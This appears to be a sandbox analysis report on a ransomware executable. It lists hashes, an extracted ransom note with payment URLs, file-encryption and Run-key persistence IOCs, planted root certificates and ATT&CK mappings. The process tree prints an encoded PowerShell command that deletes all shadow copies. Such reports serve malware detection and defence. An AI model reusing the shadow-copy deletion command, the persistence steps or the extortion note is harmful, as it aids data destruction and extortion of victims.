d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904

General

Target

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
Size

114KB
MD5

8faa0738320edb99c6044c4c9acb7685
SHA1

d35fc9ad6a14ce0d792f65a445cc7f9df6c8bc1f
SHA256

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904
SHA512

dcbd9727206f4894e3ab7ab186c6821795a9ec39e378dd5543ff309fe72e1850f0be6a502f608335a064e71a0bc438dd29ec7409506c46fefe444cf5aebe49db

Score

10^/10

persistence ransomware

Malware Config

Extracted

Path

C:\5w3nj5sfb-readme.txt

Ransom Note

---=== Welcome. Again. ===--- Lincoln County Bancorp [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 5w3nj5sfb. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B8B65284894299EC 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B8B65284894299EC Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: q25KBpsbfk+744g5vd2JP+jVR8iYSLh8rj914UtN2yOaAfNiyuLxa/Pvvd4yysZW soAHInwXJDKmmAc0cVzst6SSJ5d6wO5Tq6Z0grwDFkbXYnbM0eB+TjQ4nvBjXHuy 5PCpVHBVjlE0kg5/1/khD36RSpRMU4aSX0b8JMEs4LFeK5kZsEtSExYCqH/nTEjm ATX7l91Ta0fKmiRnVDSFyeQ3P5KLv6eMjeDK8V253I6P3LY1vANdb08PYg5Nh7eF 2WaimQ+GxDYgZ2i0y1B8oJWuR5uWg/5dpENzLWLjWKB8/frocppzwAAqtj5xaqnS 64WqB592eZEEL6nc3Th75f4BxcpHPTFFg5FC7EzQYCEzpRTbyjrbn4Az7VFgXJFN 8m1tfpK0mFcjDjn0anVAWvPQtB38XjxI7opa1/yQwBGpWwx1Sr88zlwB7STgeQga JuuQ8Yf1qqCHv7ofE7FfAS8pJLjV+rpifL7EYffPUEP7NLydcfkydHSezV78vjBB yjbeaRN2BFCPWuzPug33/L2eJc8gth8bjj4DUw+vuPphx7UukSKiW0AOPb6ch439 kj5Vf/ps9JSFhgoRvApvZOKMUBKS1rvju6iaZR9gtZ3VqSK/B81SyB/sTT+inbEK c6wrI3rNSq9MtXXIFcOlXqJGq/jTrUXPbNPWufkwNkKsNwDGvfxJ8ipCr4OrRR2p jLteZRnOshDH/+EEY8sCjZtCz73klmv0tjINsRCUIfZPLvmC6wVlqapln2nsuH9e eb3gvsCsCgArF/cM/mrLq6GUXGEipfw8bVh/blLXgCPjC5gLPLnTLaY2rB53QkGf wYS8cxYV6v5B7LDCcgJdl0sP3/mCilzpSbXNOi2/bj7JtinHNSLEviqf5jhQ56Oc v7kFEbyty4U+PQVtR71CUtCakXGHO7NZKspDyv2tBdMGGBwCC4uACfGraCR2arpe tJ4czwgOR05G+8DSycZQGq2h70S2Mf3TmZ3oabpoMIM1t4kOGnh4XaXxfzMBaNKX 7E06eZRP6K/20mujC8dh0D1RDgc+x1wE0+Mhmgfx1mIWxgGmcLCzPvmQrhCn4RZo O2arH38pvGAghh0ITcBflRL43FB65FqPdPfXqICeS0g1zYC+SyRQR6xQy5R89H0y XcO9uzXN1jXu6HZcX+g9gZYP7jCN7AiL+Q+3I5QDzHP7T9Z/Eo1u9fMfzGos8jzS UupoghFndyvKR+0oDDjWSRaxW3ghIXjTJ0b89MGFToNMsf3DbePC6Poa1bw1XHXd KPyiz8Qotg5daVrttEZYAv3gceC3ITUWjYxrf2nI ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B8B65284894299EC

http://decryptor.cc/B8B65284894299EC

Signatures

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\BlockRename.crw => \??\c:\users\admin\pictures\BlockRename.crw.5w3nj5sfb	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File renamed	C:\Users\Admin\Pictures\InstallUse.png => \??\c:\users\admin\pictures\InstallUse.png.5w3nj5sfb	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File renamed	C:\Users\Admin\Pictures\ReceiveExport.png => \??\c:\users\admin\pictures\ReceiveExport.png.5w3nj5sfb	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\dTAEUbvF4K = "C:\\Users\\Admin\\AppData\\Local\\Temp\\d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe"	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

description	ioc	process
File opened (read-only)	\??\E:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\G:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\K:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\W:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\Z:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\H:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\S:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\T:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\V:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\X:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\B:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\L:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\N:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\P:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\D:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\O:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\Q:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\R:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\A:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\F:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\I:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\J:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\M:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\U:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened (read-only)	\??\Y:	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

Drops file in System32 directory 1 IoCs

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\22y040s20.bmp"	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

Drops file in Program Files directory 25 IoCs

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

description	ioc	process
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\5w3nj5sfb-readme.txt	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\FindMeasure.WTV	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\SelectApprove.odp	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\SyncWatch.tiff	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\RegisterPop.cr2	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File created	\??\c:\program files\5w3nj5sfb-readme.txt	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File created	\??\c:\program files (x86)\5w3nj5sfb-readme.txt	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\OutExit.xsl	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\EnterSet.au	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\HideMeasure.vst	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\ReceiveAdd.wax	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\RestoreCopy.docm	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\ResumeCopy.raw	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\BackupPing.dot	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\CompareCheckpoint.3gpp	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\ConfirmReceive.vst	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\RevokePop.dwfx	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\5w3nj5sfb-readme.txt	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\5w3nj5sfb-readme.txt	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\EnterEdit.kix	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\RestoreCompare.mp2v	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\SendRequest.raw	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\ClearDismount.nfo	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\ConvertToUnpublish.pps	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
File opened for modification	\??\c:\program files\DisconnectRestore.pptx	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a919000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c02000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exepowershell.exe

pid process

520 d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
556 powershell.exe

pid	process
520	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
556	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	520	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
Token: SeDebugPrivilege	556	powershell.exe
Token: SeBackupPrivilege	1524	vssvc.exe
Token: SeRestorePrivilege	1524	vssvc.exe
Token: SeAuditPrivilege	1524	vssvc.exe
Token: SeTakeOwnershipPrivilege	520	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe

description	pid	process	target process
PID 520 wrote to memory of 556	520	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe	powershell.exe
PID 520 wrote to memory of 556	520	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe	powershell.exe
PID 520 wrote to memory of 556	520	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe	powershell.exe
PID 520 wrote to memory of 556	520	d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe
"C:\Users\Admin\AppData\Local\Temp\d4947b7ec29c933f25e53e91d968be76a02e5a0a9f2f23220f08aa7ffd266904.exe"
1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:556

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1684

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1524

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/520-55-0x00000000763B1000-0x00000000763B3000-memory.dmp

Filesize
8KB

Download
memory/556-56-0x000007FEFC241000-0x000007FEFC243000-memory.dmp

Filesize
8KB

Download
memory/556-58-0x0000000002540000-0x0000000002542000-memory.dmp

Filesize
8KB

Download
memory/556-60-0x0000000002544000-0x0000000002547000-memory.dmp

Filesize
12KB

Download
memory/556-59-0x0000000002542000-0x0000000002544000-memory.dmp

Filesize
8KB

Download
memory/556-57-0x000007FEF34A0000-0x000007FEF3FFD000-memory.dmp

Filesize
11.4MB

Download
memory/556-61-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/556-62-0x000000000254B000-0x000000000256A000-memory.dmp

Filesize
124KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads